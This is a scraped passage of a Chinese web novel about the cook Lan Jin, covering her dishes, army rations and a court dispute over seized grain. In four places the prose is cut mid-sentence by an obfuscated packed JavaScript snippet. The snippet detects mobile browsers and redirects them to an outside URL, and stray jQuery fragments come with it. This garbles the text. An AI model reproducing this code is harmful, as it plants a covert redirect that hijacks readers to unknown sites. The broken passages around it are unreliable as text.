萧仁禹没回答，盯着面盆的眼神却暴露了自己的欲望。 蓝锦抿嘴一笑：“那我可要做炸酱面了，香得厉害，你肯定没尝过。” 和面的活计叫萧仁禹接了手。 力气真能带来速度。 萧仁禹不用教，连后头如何擀面条都领会了。 ——他没做过面条，还没吃过面条么。 蓝锦与他各自分工，一人做面，一人做酱。 炸酱面无外乎甜面酱和黄酱。 拜虔诚的蓝记老客萧仁禹所赐，萧府厨房堆满了出身蓝记的酱料，正方便。 猪肉切成肥瘦肉丁，青白的葱末，鲜黄的姜末，将冷清的灶房，瞬间添上几分活泼的烟火气。 锅里的宽油滋啦作响，肉和酱一下锅，“哗啦”一下，热闹极了，香气四溢。 炸的时候不必加水。 蓝锦适时翻动，好叫油香酱香与肉香充分混合。 炸酱面怎么做，人人都有自家心爱的菜谱。 就好像最好吃的火锅在自家楼下，最好吃的炸酱面也在童年的厨房。 酱也不需要什么特殊的调味，只是一点盐而已。 炸成之后，深褐色的酱，表面裹着一层金黄明亮的油。 拌在劲道韧滑的面条上，黏糊糊的扒着不下来。 撒上些青瓜丝，脆生生的。 蓝锦拿起长筷，挑高一缕面条。 手腕翻动，转着面碗，让浓稠的酱汁裹满每一根面。 雪白的面条逐渐染上诱人的酱色，肉丁像葫芦藤上的果实，嘟嘟的缀满一串。 面条表面油油亮亮，油炸后的面酱，香味十足。 连青瓜丝也蘸上了浓淡不一的酱汁，红亮得发褐，一看就好吃。 两人各捧一碗，萧仁禹也学着蓝锦的样子，上上下下地把面拌匀。 深嗅一口，肉香和油香扑面而来，经过发酵的甜香特别极了。 扎实的面条一入口，酱味就唤醒了每一处味蕾，香气在唇舌间四处蔓延。 萧仁禹一边吹着气，一边用嘴拦住往下滑蹿的面条，裹住味道醇厚的酱料。 这碗面看起来其貌不扬，实际却有着复杂的味型。 手擀的面条嚼起来麦香十足，恰到好处的火候保留了面的劲道与爽滑。 吃起来不干，不硬，不会软塌塌。 咬在嘴里，只觉得弹滑得要与牙齿打架。 酱味与面香搭配得天衣无缝，两种盐与油烘托出来的甜味若有若无，偏又叫人回味无穷。 肉丁经过高温油炸，缩成一个个紧实的小块。 没有了肥腻，只剩下荤香。 油炸过的边缘微微发硬，水分被逼出，酱味沁进每一根肉丝。 咬起来肉汁横流，兼具了口感与香味。 炸酱面，如何不算另一种程度的浓油赤酱。 再吃一筷子裹了青瓜丝的。 彷佛大漠中的甘霖，因着鲜明的对比，丰腴之余，清新爽脆也更添风味。 满满的酱与面吃进嘴里，贪心得舍不得咬断。 咸鲜的风味，叫人想生出饕餮肚肠，把整碗一口气吃进嘴里。 这一口是瘦肉丁，精肉丝咸鲜扎实，却不失香嫩。 下一口是肥瘦丁，油脂像水一样流进嘴里，荤香浓烈，让人欲罢不能。 “本来是想少吃些的，捧起碗来，全然都忘了。” 蓝锦搁下洗劫一空的面碗，舒服地喟叹道。 “明天我们再吃一次。刚刚看着，我也差不多学会了。”萧仁禹建议道。 蓝锦觉得好笑：“难道我还天天住在你家不成？” 萧仁禹道：“就算我不发表什么看法，只怕清珩和母亲先高兴坏了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601740|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 蓝锦说：“那小秋和梁老夫人只怕要闹上门来了。” 萧仁禹把碗筷收了，拿去冲洗，毁尸灭迹：“所以还是置府别居的好，谁也说不出什么来。” 蓝锦叫他对未来的笃定逗得一笑。 倒是想起两位公主来：“怪不得大公主长日住在公主府。还是有自己的恒产，日子才算好过呀。” 往常，她有些活钱，都是投到生意里头，还有食饷司。 采买名贵香料，罕见食材，买屋开店，试验新品...... 从未想过在天都买房置业。 念头想到了就放不走了，蓝锦在心里盘算着各个坊市的屋舍。 买个带小院子的，种些花，种些菜，在葡萄藤下坐着摇椅逗小白狗。 最好有些粗壮的树，给小秋和她扎个树屋，再扎一架秋千。 也不知无花果树在这里能不能成活，结果的时候，肯定能闻到清新的奶香...... 这一夜吃得满足，过得愉悦，伴着对未来的期许，很快倒入了黑沉梦乡。 * 大公主的马车停在蓝记门外。 “殿下，是出了什么事？”蓝锦闻讯赶来。 谢令章放下车帘，示意车夫启程去食饷司。 “谢承彦使了绊子。他眼红食饷司的资金，本想借鲥鱼拉萧家和蓝记酒楼下马。” “一计不成，转向军粮供应下手。连夜扣下了我们押送军粮的队伍，说是查出了问题。” 圣人自从叫亲儿子谢承彦背刺之后，碍于张相公的虎视眈眈，不得已削减了宫中的南货供应。 连带着萧仁禹也吃挂落。 他求之不得。立即进言，说自己不堪为二皇子师表，趁势推了带熊孩子的包袱。 圣人正在风口浪尖上无暇顾及，只能由他去了。 二皇子禁足府中，却怎么也咽不下这口气。 他思来想去，此事还要归结到大姐姐头上。 没有大公主的支持，蓝记敢这么嚣张吗？ 萧家表面上清白中正，只怕与那蓝记早就暗通款曲，眉来眼去。 大姐姐手中本就有军方支持，若是再同萧家走近，后果不堪设想。 一想到蓝记白花花的银子，流水一般地进了这二位的口袋，他却一点汤都喝不上—— 就像是自己的家叫贼人搬空了一般难受，百爪挠心。 别的不说，二皇子在“爱人钱，如爱吾之钱”这方面，很有天赋，造诣颇深。 蓝锦脸色严肃，一一检视了军粮的抽查留样。 “东西是好的。流程记录也周全，绝对没有问题。” 大公主松了口气：“我料到如此。” “是叫哪里的人扣了？” “还没走出昭应县，就拦在县衙了。” “许县令？” “你识得许苑知？” 蓝锦摇摇头：“这倒不曾。我有姐妹，曾流落到许县令亲戚家做下人。还有群侠士，前些时日劫了许家别院，接济百姓。” 谢令章来了兴趣：“噢？怎么个劫法？” 蓝锦会意，压低了声音：“进了库房，发现了行贿账本，给换成了假的顶上。这么个劫法。” “偷来的证据，能用不能用？” “就算不能用，我也要叫它变成能用的。”谢令章眯起眼睛，慢慢笑了。 81. 第81章 小秋近日格外黏着蓝锦。 兴许是前些时日蓝锦外宿，让她觉得，阿姐也不是天长地久陪在自己身边的。 天天抱着齐人高的小枕头，一骨碌爬到蓝锦卧房的床上，要跟阿姐睡。 蓝锦看出了她的依恋，有心做些小甜品哄她开心。 “今日下学早些回来，阿姐给你做蜜三刀。好不好？” “嗯！阿姐最好！” 碧桃领人来撤朝食的碗盘，笑盈盈地对蓝锦说道：“平时热闹惯了，上回姑娘乍然不在家里用朝食，少了一个人，立时就觉出来了。” “今儿老夫人又提前赶去做中元秋祭，也不在家。这一遭又一遭，可把秋姐儿冷落坏了。偏她懂事得叫人心疼，每每捡些书院趣闻来说。” “阿姐，你不在的时候，我也好好吃饭的！吃了那么大一碗。” 小秋两只手拢着，比了个圆，足有面盆大小，将她的脸都罩了进去。 “是了，我们秋姐儿，能吃一满燕肉馄饨的。” 碧桃妥帖地给小秋背上斜挎书包，检视了她后衣领里的绉纱巾子。 秋日里早晚温差大，夏燥还未全然退场似的。 小孩子多跳多动，总要折腾得一身是汗。 勤换汗巾子，以防着了凉，染了风寒。 小秋老实地站着不动，让香香的碧桃姐姐给她收拾。 梁老夫人专门留下碧桃，就是惦记小秋的衣食住行。 没法子，蓝锦在她眼里就是个爱玩的天真孩子。 小秋在很长一段时间里都是放养，叫蓝锦养得野马一般，无拘无束。 偏偏小秋最爱阿姐，黏得不行。 一有空，就往蓝记跑，找自己阿姐。 “走啦！” 蓝锦拉着整装一新的小秋，两姐妹好像同班同学似的，手牵手走到门口，各上各的马车。 “阿姐！我们书院最近来了个奇怪的师傅，她教我们说奇怪的话。她的头发编成一长条，头顶还戴着一朵金色的莲花。” “是嘛？这么有意思。” 小秋当即给她学了两句。 听着那些浓重的鼻音，蓝锦摸不着头脑。 “那她平时吃些什么呀？和你们一样吗？” 小球摇了摇头：“不知道。奇怪师傅很快就走了，要回去做官的。” 蓝锦猜出了大概，许是山长请了鸿胪寺的人，来给学生们见见世面。 本朝书院，形式也非常有趣多变嘛。 蓝锦笑眯眯地目送小秋走远，这才放下车帘，启程去蓝记。 今日是中元节，酒楼提前放出了秋祭宴的预约。 菜色搭配任君挑选，八盘的，十二碟的，十六珍的。冷热羹汤，点心蔬果，炙烤热炒...... 唯一不变的蓝记特色，就是三牲。一道烧鸭，一道脆皮烧肉，一道松鼠鳜鱼。 每桌送一份潮州红桃饭粿，可以冷吃，又可以油煎。 红桃粿的外皮是粘米粉做的，染成了桃红色。样子也像一个切了一半的桃子。 蒸熟了之后，皮子弹弹糯糯，带着一点透明的感觉，散发出一股淡淡的甜香。 内里有馅，用的是糯米、香菇、虾米、葱白、五香咸菜、猪肉末。 用猪油拌了，撒上五香粉，盐，鸡汁，鲜香味美。 外皮冷冷的却柔软，丰盈的内馅带来一股复杂的味道。 若是在锅里用油一煎，热着吃，起了焦壳的脆皮又添香美。 蓝记的客人们甚少见到这种食物，个个好奇，用于展示订宴的红桃粿，转瞬被抢了个干净。 汝月支了个小车灶，起了平底油锅，就站在秋祭宴的宣传货架旁边。 一碗碗摆上原材料的菜肴，整齐地排在大桌子上。 客人若想点菜，一目了然。 “秋祭宴，从前都没听说过。” “客官，那是从前没有我们蓝记。如今有了，您自然多了一个选择，来尝尝鲜！” 滋滋作响的油煎红桃粿，仿佛在声援。 汝月磕了一个蛋，哗啦一下倒进锅里，放进红桃粿，做一个蛋煎的。 “美味！小娘子好会吃啊。” 蓝锦拿着沓招牌画，与潜在客人们不住翻看。 圆桌上摆满了鸡鸭鱼肉，个个浓墨重彩。 不同于山水的写意，这种写实的菜色描摹瞬间吸引了无数注意。 “看着就好吃！掌柜的你记上，张守善家订席面一份，就要这画册上一模一样的。” 蓝锦爽朗一笑。多亏琴棋书画样样精通的萧探花，他还一点就通，画起漫画版美食也有模有样。 她说出什么，人家就能画出什么，万事屋都没这么灵验。 哪怕是等到了今日，秋祭宴的正日子，饱餐了一顿的客人们，还要专门在柜台这里流连。 “掌柜的，我吃的那桌席面，可曾画成画？也给我一份！” 拿来干嘛？当然是跟亲朋炫耀。 空口无凭，指着这些栩栩如生的画，自然更有说服力。 蓝锦早就料到此桩，当即送出一沓沓活版彩印了的秋祭宴席图。 好叫老客带新客，替她做免费宣传。 这厢忙了许久，就见小秋乐颠颠地跑了进来。 “阿姐！我回来了！有没有蜜三刀吃？” “有，自然有，都给你准备好啦。” 蜜三刀这种炸糖点心，也十分讲究火候和细节。 若想做成切口微微流糖，咬起来绵软香甜，不失酥口的效果，也不是一件简单的事。 面粉掺上油和了面团作皮料，麦芽糖与面粉和成酥料，二者重叠，撒上多多的芝麻，切做方块。 每一小块上都用刀划上三道，炸出来更饱满鼓胀，因此叫蜜三刀。 麦芽糖小火熬了糖浆，炸好的蜜三刀充分裹上糖浆，变成了深琥珀色，灯下玲珑剔透。 里也是甜，外也是糖。 小秋拿着筷子夹了一个：“哇，好多芝麻呀！” 蓝锦笑眯眯地看她动作，满眼都是喜欢。 香酥软粘的蜜三刀入了口，每一寸都叫蜜浸透了。 就像是蜂口夺食，把刚割下来、浓俨俨流着蜜的蜂巢，大口咬进嘴里，甜美浓稠的蜜糖顺着嘴唇流出。 酥脆的外壳不堪一击，牙齿刚一用力，柔软丰满的本体溃不成军。 糖蜜溢了出来，甜住了舌头，沾满了牙齿。 油香勾出了口水，酥感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15608845|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 充斥整个颅腔。 小秋刚咬完一口，就见筷子上的另一半蜜三刀，正缓缓地溢出一汪糖浆。 “哎呀！”她小声惊呼，赶忙把它整个放进嘴里。 好甜，好香，就像阿姐一样，叫她好高兴。 蓝锦想起一事，笑出了声，对小秋说：“从前，有个小孩，他们家吃糖包。咬上一口，滚烫的糖浆就往外流，一直流到了手上。” “他不舍得，就跟着舔，从手腕舔到了胳膊肘。手跟着举高了，糖浆一下子流出来，反倒烫了后脊背！好不好笑？” 小秋正色道：“这个小孩好倒霉啊。他没有我这样好的阿姐，连不烫手的糖包都吃不上。” 又夹起一块蜜三刀：“我们家的这个蜜三刀，糖只流在嘴里，压根不会流到手上，胳膊肘上！还是我阿姐厉害！” 蓝锦叫她哄得五迷三道的，只怕晚饭都不用吃了。 蜜三刀是一样极传统的甜点，历史悠久，古往今来，不知多少小孩子叫它香过嘴。 蓝锦曾经也吃过。 那时的蜜三刀，不同于超市里和大型点心店里的出品。 做了一辈子的摊主们，往往极擅火候。 馅料里的糖蜜，是一定要欲流不流的，咬起来溢满唇舌。 不像批量加工的现代化蜜三刀，更像一块硬邦邦的方糖罢了。 说来也是，谁还有这种功夫，给人做出一道费时费力、与健康相去甚远、在花样繁多的西点中黯然失色的蜜三刀？ 蓝锦愿让这份压在记忆里的蜜，也甜一甜小秋的童年。 姐妹俩分食着蜜三刀，享受着有人陪伴的甜蜜和欢喜。 恰在这时，萧清珩慌慌地跑到了蓝记。 “蓝姐姐！大事不好了！” “这是怎么了？你别着急，慢慢说。” 二人朝厢房走去，小秋一骨碌滑下座位，抱着蜜三刀就跟了上来。 萧清珩不等坐定，闷头喝了一大杯水，急急地开口：“是许老狗的账本！他诈我们！” 蓝锦也皱起了眉头：“这却是怎么说？那账本，不是你们亲自从他们库房拿的吗？” “蓝姐姐，你可别生气......”萧清珩条件反射地去看蓝锦的腰侧。 还好，没有鞭子，不是人人都像她阿娘。 “其实，我们去许家劫富，不是第一次出手了......” 女娘们归家要面子，知道已经犯了家中长辈的忌讳，只好捡体面的说。 尤其是蒋长昭严苛非常。女娘们一对，把头先抢富绅事败，狼狈逃窜的一节，隐去了。 谁知她们人虽然逃了，富绅却着急忙慌地报知了自家大腿许县令许苑知。 许苑知纵横官场这些年，自然不是耳聋眼瞎的。 他发现了萧清珩等人的身份，早就暗暗跟梢。 秉承着多一事不如少一事的原则，他并不想跟萧国公府正面对上。 本以为这些贵女们不过一时好玩，不日就该归家。 却没想到竟然盘算着再劫县令府。 “老贼实在狡猾，想是他专门设下陷阱等着我们，还玩起了放长线！” “如今用了他故意露给我们的假账本，他倒是大呼冤枉！” 82. 第82章 蓝锦蹙起了眉头。 这些长于官场应对的老油条们，还真不是天涯侠女能收拾了的。 “蓝姐姐，怎么办？现在那老贼口口声声说他毫不知情，只说有人害他。” “赖上了御史台，扬言要揪出借假账污蔑他的真凶，还他一个公道。” 那账本是从蓝锦手里递出去的。 蓝锦信任萧仁禹，又对萧清珩十分感佩，自然不疑有他。 萧清珩涉世未深，不知道账本上还能做出这么多文章。 只愿将功，折拐带女娘胡作非为的罪，当然拍着胸脯保证。 大公主信任蓝锦，蓝记三家店的经营也是看在眼里，知道她的能力。 本来能解燃眉之急的一招闲笔，转瞬变成了捅向自家阵营的刀子。 没能将许苑知拉下马，顺势放走军粮，还把自身置于危墙之下。 “先不急。你说姓许的知道你们的身份，可叫他留下什么证据？” 萧清珩两眼一抹黑。 “自然能留下多少，就留下了多少。” 萧仁禹踱步进来，面容冷肃。 徒让他在后头跟着打扫，一点点抹平。 本以为她从此安分待在家里，不再惹出什么事。 谁知她竟独个藏着这么大的秘密，还偏偏走了锦娘和大公主的路子，差点带累了锦娘。 蓝锦递给他一块蜜三刀：“别气啦，事情还没到不可收拾的地步。吃点甜的缓缓？” 萧仁禹神奇地平静了下来，面色也跟着柔软。 “清珩姐姐，喏，你也吃。” 小秋也给愁眉苦脸的萧清珩夹了一块：“萧阿兄最爱吃甜的了。” “从前我在乡下，要很久才能吃一次糖的。萧阿兄想要，我都没给他尝的。” “你吃了这个，就会笑了。” 蓝锦汗颜，还有这么乌龙的事？ 萧清珩吃惊地看了一眼萧仁禹，险些没把蜜三刀掉到桌子底下。 还有这段渊源，他怎么从来没跟家里说？ 不让她点灯，他自己倒是出门放火。 面对萧清珩狐疑的打量，萧仁禹不动声色地转移了话题。 “大殿下倒还稳得住，许苑知对她来说也是小角色。即便绑上二皇子一块，也不能撼动她什么。” “此事，还是冲着外人眼中大殿下的钱袋子来的。” 无外乎是食饷司，还有蓝记。 天地良心，大公主可从没有让她上供过一分一厘。 明里没有，暗示更没有。 “这不是蓄意往大殿下身上泼脏水吗？” 蓝锦也含了三分怒意。 “不管实际如何，蓝记酒楼一开始就背靠大公主。承了大殿下的情——满天都没有同行敢招惹，自然会叫人做此想。” 萧仁禹语气轻缓。 蓝锦陷入了沉思。 良久，她开口道：“上赶着自证不是办法。现今的局面，突破口还在军粮上。” 此番，是二皇子与大公主打擂台罢了。 账本不账本的，只是个引子。 就算她们手头的账本是假的，仔细查探下去，许苑知就没有一点尾巴吗？ 此番不过是他趁势向二皇子投诚的决心罢了。 自然也是两位殿下向臣属释放信号的时机。 许苑知这个冲锋陷阵的马前卒，二殿下有没有能力保他？ 与大殿下相较，谁的腕子比较硬？ * “蓝娘子，这边请。” 蓝锦这回进宫，是跟在大公主后头的。 碰上的还是上回那个萧仁禹安排的姑姑。 圣人在御书房批折子，小黄门谨慎地侍奉着。 大公主递给蓝锦一个安抚的眼神，径自掀开了门帘。 二人是主动前来请罪的。 二皇子揪住食饷司的不是，一杆子捅到了圣人面前。 圣人见他难得做正事，倒是来了兴趣，抛下了跟自家亲儿的那点龃龉。 “蓝娘子，请吧。” 蓝锦拎起沉甸甸的食篮，脚步沉稳地踏进书房。 当着大公主的面，圣人倒未在礼节上难为蓝锦。 但说出口的话，就没有那么亲切了。 “听承彦说，扣下的那批军粮是你弄出来的？” “回圣人，正是民女。说来还要感谢二殿下，殿下慧眼识珠，刻意借此机会，敦促民女早日做出更好的军粮，实在用心良苦。殿□□察军情，可谓目光长远。” “噢？还有此事？你说你又改进了军粮？”圣人来了兴致。 原先设立食饷司，就是看上了蓝记和大公主折腾出来的能量棒、拌饭酱、猪肉松和方便面。 这批军粮一至前线，连成日跟他哭穷的边地折子都少了许多。 听闻效果甚好。 尤其两军对垒之际，军士们面颊红润，精力充沛。 甚至有了敌方暗中投诚，只为一口伙食的传言。 “圣上请看。” 蓝锦从容地打开食篮，递给小黄门。 奶干，奶皮子，奶豆腐，羊油羊血羊汤羊肠做成的羊肉肠，深红色的牛肉干。 还有类似糌粑的炒粉，山楂干，芥菜干，风干的盐渍牛羊肝。 奶香十足，又大又圆的金黄烤馕。 “圣人请看。之前的军粮虽然饱腹，改进了口味。却不及如今的这般，能长人气力。” 扎实的奶制品和肉类，最大限度地补充了蛋白质。 馕和炒粉这类主食，提供了碳水化合物。 山楂干、菜干和内脏，考虑了各种维生素。 这样一份营养均衡的军粮，不强身健体才怪。 圣人一时没说出话来，盯着桌上一碟香酥的黄桥烧饼，只觉口齿生津。 “圣上倘若身先士卒，尝一尝我们蓝记改进的军粮。前线浴血的军士们，必当更加感念圣人的恩泽。” 蓝锦把头压得更低，假装没看到他的神色。 圣人翘了翘胡子，信手夹起一块黄桥烧饼。 金黄的烧饼表面撒满了芝麻，香味直往鼻子里钻。 烘烤后的外皮酥脆焦香，“咔嚓”咬上一口，才发觉其中关窍。 内里是起了酥的，重峦叠嶂，层层分明。 或酥或嫩的饼皮吃进嘴里，舌尖能尝到椒盐的香味。 还有烤得失了水，油香咸鲜的五花肉末，紧紧扒在烧饼内层的薄皮上。 煸炒过的肉末，不会油腻。 淡淡的咸味，淡淡的葱油香，和满口酥香极配。 待他回过神来，一个烧饼转瞬即逝。 偏蓝锦还满脸严肃，继续正色道：“此烧饼不仅有咸味品种，还有一种是甜的。为了尽善尽美，恳请圣人再屈尊品尝一二。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613740|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 糖馅的烧饼，裹了满满的黄糖。 看着没什么分别，一口咬下去，也是一模一样的酥香。 猪油的荤鲜有一种魔力，咸也精彩，甜也出众。 两面金黄，内里擦酥。 吃上一口，糖馅全然融化在嘴里，香味四溢。 圣人一口气吃完两个烧饼，理智这才回笼。 他可是刚用过午膳不久。何况，这是人家准备的军粮。 他这么吃，像话吗？ 蓝锦仿佛受过专业训练，还在恭谨回话：“自上回宫宴献菜，民女深负圣恩，办起了养牛场。” “日夜百般尝试，这才做出了些适宜远行携带的奶制品。” “因第一次做这些，心中甚是忐忑，这才没能及时献于御前。倒叫二殿下急民女之所急了，实在是愧疚难安。” “圣人目在四海，博闻多识。如今民女斗胆，恳请圣人品评指教。” 小黄门眼神灵活，立马往盘中各布一块。 奶干初入口时，是硬而韧的。 淡淡的酸味勾人咀嚼不停，越嚼奶香越盛。 奶皮子就柔软得多。 滑嫩嫩的，奶香更盛更浓。 奶豆腐就像一块牛乳做的豆腐，质地更软，比起豆腐又更结实韧弹。 虽然不甜，可那股奶味，闻一下就像要醉了似的。 蓝锦款款介绍：“这些奶制品，能空口吃；支了篝火，也能烤着吃。” “撒盐也可以，撒糖也可以。” “就算是家常要吃，蘸上蜜，或是果酱，嚼起来香软发轫，甜香可口，也别有一番风味。” 在场的各位，无不感叹自己的定力，没有当着人流出口水来。 圣人更是满心急切。 军士能不能吃上，他先顾不及。 这非得叫御膳房学会了不可。 * 蓝锦来的时候满脸紧张，走出宫门全然是一副轻松笑颜。 圣人一锤定音，为食饷司再记一功，上下赏三个月俸禄。 二皇子闻讯匆匆进宫，也叫他晾在一边了。 鲥鱼的帐还没跟他算清，又来给他添麻烦。 还嫌边境的军心太稳了吗？ 圣人一心扑在新军粮上，对自家二儿子的小打小闹看不上眼。 大女儿虽然不近人情，冷得像石头一样。 但她和手底下的人，那是真干事儿啊。 别的不说，就这些新鲜吃食，也能一转他在鲥鱼一事上吃瘪的风评了。 圣人这边一露风向，军粮有问题的事，便无声无息地翻篇了。 等谢承彦匆匆传讯到昭应，还想握住那队军粮再做做文章，翻出一波新浪来。 回来传信的人却说，因着护送军粮的人叫他们拦下，无人看守。 账本的事一出，神仙打架，大家都认为这些军粮是要废了。 可架不住味道太香，叫人连吃带拿了好些，现下几乎送不过来了。 二皇子大怒，他就知道上赶着的不是买卖！ “许苑知，你个饭桶！自己的人都管不住！” 就这还敢巴巴地来跟他投诚，结果竟是让人踩着攀梯！全为他人做嫁衣裳。 蓝锦想象了一下二皇子可能会有的气急败坏，心情颇好地指挥伙计往大厅挂东西。 笔走龙蛇，正是写有“御膳娘子”的牌匾。 83. 第83章 蓝锦这一招，叫二皇子干生气又没办法。 一向站在他这边的阿耶，都对他淡淡的。 他总算是消停了一阵，至少明面上是这样。 今年的秋天来得迟，是晚立秋。 立秋就要添秋膘。 四周堆着干菜架子的蓝记后院里，蓝锦指挥着大家收拾牛羊，好生热闹。 此时也是吃鱼最好的季节，冷水激过的鱼，膘肥体壮，脂满而不腥。 约莫五斤重的青鱼，鱼头做了浓白豆腐汤，鱼身炸了做熏鱼，鱼尾还能做个红烧甩水。 正正好。 蓝记的总厨之一，吴大娘吴萃抱着一盆梅干菜走过，口中啧啧称叹： “咱们小娘子，精打细算，真是做生意的好人才。” 悟雅跟小秋分食糖三角，闻言只道：“就是抠门嘛！小娘子会，我也会的！” 吴大娘笑呵呵的：“不是这么说，咱们娘子买起食材调料来，哪次不是尽挑好的，可谈不上抠门。” 蓝锦接过汝月递来的温毛巾，擦干了手，走过来笑嗔：“傻悟雅！生意哪里是抠出来的？” “我么，这叫物尽其用。” “客人们饮食习惯各不相同，多的是众口难调的事。” “这条鱼一鱼出三道菜，叫我算计得明明白白。什么滋味都有就罢了，还不会有一点点的损耗。这才叫把钱花到刀刃上。” 悟雅夸张地捂着耳朵道： “完了完了，小娘子把自家的秘方都漏给我了！我得拽上汝月，自起炉灶，大赚它一笔，才不辜负小娘子的栽培！” 汝月一点她的额头： “你要做叛徒，自家做去，何苦来挑拨我和师父，我才不理你。兜里的分红没捂热，就嫌坠手啦？” 悟雅呵呵一笑，再拈起一个糖三角： “我那是眼红你得小娘子喜爱，非要远远地把你拉走。再偷偷地一个人回来，独占小娘子！” “别说其他地方，赚不到这么多利钱。就算赚得到，那我也不干！我得赖定娘子，娘子还给我做糖三角的。” 汝月笑着去挠她：“当着师父的面，你就敢这样说我，看我不拧你的嘴。” 悟雅灵活地躲开，跳到蓝锦身后，不叫她近身。 蓝锦温柔地笑着：“好啦，当心烫着，可不是好玩的。” 小秋淡定地稳坐如山，认真地用嘴接糖三角的软心。 “你们都不要抢，阿姐是我的阿姐。” 阿姐好，给她包的糖三角都不烫人。 悟雅又跳回来： “秋姐儿，你可要为我说话才是。咱们才是天天待在一起的人。” 小秋并未答话。 大概在心里说，幼稚！ 汝月去管了蓝记牛肉店，吴萃是蓝记新酒楼的总厨。 悟雅不能单独上灶，除了卖力气，盘账也是一把好手，大多数时候跟着蓝锦。 随着店里的生意越来越好，三组人一起会面的时间也越来越少。 今儿难得聚在一起，蓝锦决定亲自下厨，犒赏一下自家的功臣。 做一道五柳鱼，肥美的青鱼是主角。 再备上白菘、猪肉、木耳、红萝卜、笋子，五彩缤纷，口感不一。 配菜统统切作细丝。 用葱，姜，胡椒，搭上糖和醋，调出酸甜辣的口感。 再配上去腥的酒，和提鲜的酱油。 或是腌渍，或是焯水。 备菜花红柳绿的，搁在一旁。 青鱼两侧各划几处花刀，深至鱼骨却不划破，保证每部分的鱼肉是一样的厚度。 煎炸起来，各处才能一起成熟。 算是鱼肉鲜嫩美味的秘方。 洁白的盐抹在鱼皮表面，粉嫩的鱼肚也沁上一层。 油锅滋滋作响，蓝锦小心地拎着鱼尾，滑进锅里。 直到鱼皮冒着小泡，金黄微焦，再原模原样地铲出来。 鱼肉完整，连鱼皮也没有破，散发出朴素的荤鲜。 另起一口油锅，先翻炒这“五柳”丝，撒料定味。 再满登登地铺到煎好的鱼身之上。 蓝锦动作极快，酥脆的鱼皮还热腾腾地吐着小泡，瞬间就吸入了酸甜辣的调味汁。 鱼的尾巴俏皮地高高扬起。 中间是各色细丝，有红有绿，有黑有白。 杂然其间，叫人食指大动。 “快来，这道菜要趁热吃！” 蓝锦招呼众人，几双筷子齐齐向鱼盘伸来。 五柳鱼没有什么复杂名贵的调料，全是靠家常食材各自发挥长处。 白菘的水润脆口，肉丝的鲜嫩咸香，木耳的素鲜弹牙，红萝卜的香甜爽口，还有咬起来“咯吱咯吱”的笋子。 酸甜味刺激得口水分泌，一丝若有若无的辣味也挑起了味蕾的热情。 单吃这些配菜丝，已经美味非常。 蓝锦连皮带肉夹起一筷子鱼肉，裹满了一筷子细丝，一齐放进嘴里：“要像这样一起吃，才美味绝顶！” 大家纷纷跟上。 霎时间软脆酥弹的口感一起在嘴里迸发。 鱼肉的鲜，鱼皮的焦，菜丝的酸甜爽口...... 煎炸过的鱼逼出了多余水分，充分地吸收了各种味型，没有鱼肉的腥味，只有鲜香扑鼻。 金黄焦褐，肉质雪白，和多彩的菜丝配在一起，津亮油润，看上去十分诱人。 “小娘子手上的功夫还是到位。这鱼皮煎得这样酥，鱼肉还是那么鲜嫩。不会发硬发老，失了口感。” 吴萃不禁感叹。 每回尝蓝娘子的手艺，她都要大开眼界。 想当初，她铁了心，不愿再吃树大招风的苦，要从上家酒楼辞工回乡。 正是蓝娘子一手出神入化的厨艺，叫她当场折服。 不仅如此，蓝娘子还头脑清晰，姿态谦和，对她极尽尊重。 她当下收拾包裹，来了蓝记做总厨。 悟雅塞了满嘴鱼肉：“哎呀，我怎么就说不出来那些好听的话！” “我只有一句，娘子，你做的菜，好吃！太好吃了！” 看着大家胡吃海塞的模样，蓝锦十分满足。 汝月就比悟雅谨慎得多，她小心地剔干净鱼刺，这才敢小口放入嘴里。 青鱼不像从前的亲戚说得那样腥膻，吃起来只有荤鲜和嫩滑。 连鱼皮都不腥，焦脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15614584|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又酸甜，简直可以独立成菜。 